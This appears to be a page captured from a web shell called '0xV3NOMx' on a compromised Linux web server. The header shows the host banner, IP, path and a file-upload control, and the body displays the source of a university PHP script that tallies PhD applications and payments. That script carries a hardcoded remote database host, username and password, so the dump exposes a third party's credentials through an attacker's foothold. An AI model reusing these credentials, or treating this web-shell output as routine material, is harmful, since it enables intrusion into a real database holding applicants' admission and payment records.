0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 52.14.26.141


Current Path : /var/www/html/gach/
Upload File :
Current File : /var/www/html/gach/phddegsum.php

<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css">
<?php
    // $servername = "localhost";
    // $username   = "root";
    // $password  = "";
    $servername = "97.74.228.93";
    $username   = "logisys3_logu";
    $password  = "Logisys@2106";
    $admdb = "logisys3_bcu";

    $conn = new  mysqli($servername,$username,$password);
    if(!$conn) 
    {
        die("Connection failed: " . mysqli_connect_error());
    }
    $query = "select DATE_FORMAT(NOW(),'%d %b %Y %h:%i %p') as ftime, funivname from {$admdb}.control";
    $result = mysqli_query($conn,$query);

    while($row = mysqli_fetch_assoc($result))
    {
            $ftime=$row['ftime'];
            $funivname=$row['funivname'];
    }
    
    $query = "SELECT  p.fdegree,  FDESCPN, 
SUM(IF(IFNULL(fform,'')= 'A', 1,0)) AS form_a_count,
SUM(IF(IFNULL(fform,'')= 'B', 1,0)) AS form_b_count,
SUM(IF(IFNULL(FFINSUB,'')= 'T', 1,0)) AS applied_count
FROM logisys3_bcu.phdstudadm p, logisys3_bcu.degree d 
WHERE p.FDEGREE = d.FDEGREE AND  fdeggrp = 'phd' and IFNULL(FPAYSTATUS,'') = 'success' GROUP BY d.FDEGREE";
    // var_dump($query);
    $result = mysqli_query($conn,$query);

    $title = '<center class="mt-5"><u><h2>'.$funivname.'</h2></u>
	<h3>PhD Applied and Payment Statistics as on '.$ftime.'</h3>';
	echo  $title;

	$table = '	
		<table class="container table table-hover" border="1" cellpadding="10" cellspacing="0">
			<thead style = "">
				<tr class="text-center" style = "background-color:">
					<th width="5%" ><b>Sl. No.</b></th>
					<th  width="5%" ><b>Degree Code</b></th>
					<th width="30%" ><b>Degree</b></th>
					<th width="5%" ><b>Form A Applied Count</b></th>
                    <th width="5%" ><b>Form B Applied Count</b></th>
                    <th width="5%" ><b>Applied Count</b></th>
				</tr>
			</thead>
            <tbody >';
    $i = 1;
    $applied_count_ttl = 0;
    $form_a_count = 0;
    $form_b_count = 0;
    while($row = mysqli_fetch_array($result))
    {

        $table .= '<tr class="text-center"><td width="5%" >'.$i.'</td>
            <td  width="5%" >'.$row['fdegree'].'</td>
            <td width="30%" align="left">'.$row['FDESCPN'].'</td>
            <td width="5%" >'.$row['form_a_count'].'</td>
            <td width="5%" >'.$row['form_b_count'].'</td>
            <td width="5%" >'.$row['applied_count'].'</td>
        </tr>';
        $i++;
        $applied_count_ttl += $row['applied_count'];
        $form_a_count += $row['form_a_count'];
        $form_b_count += $row['form_b_count'];
    }
    $table .='<tr class="text-center">
    <td class="font-weight-bolder" colspan="3">TOTAL</td>
        <td class="font-weight-bold" colspan="1" >'.$form_a_count.'</td>
        <td class="font-weight-bold" colspan="1" >'.$form_b_count.'</td>
        <td class="font-weight-bold" colspan="1" >'.$applied_count_ttl.'</td>
    </tr>';
    echo $table;
?>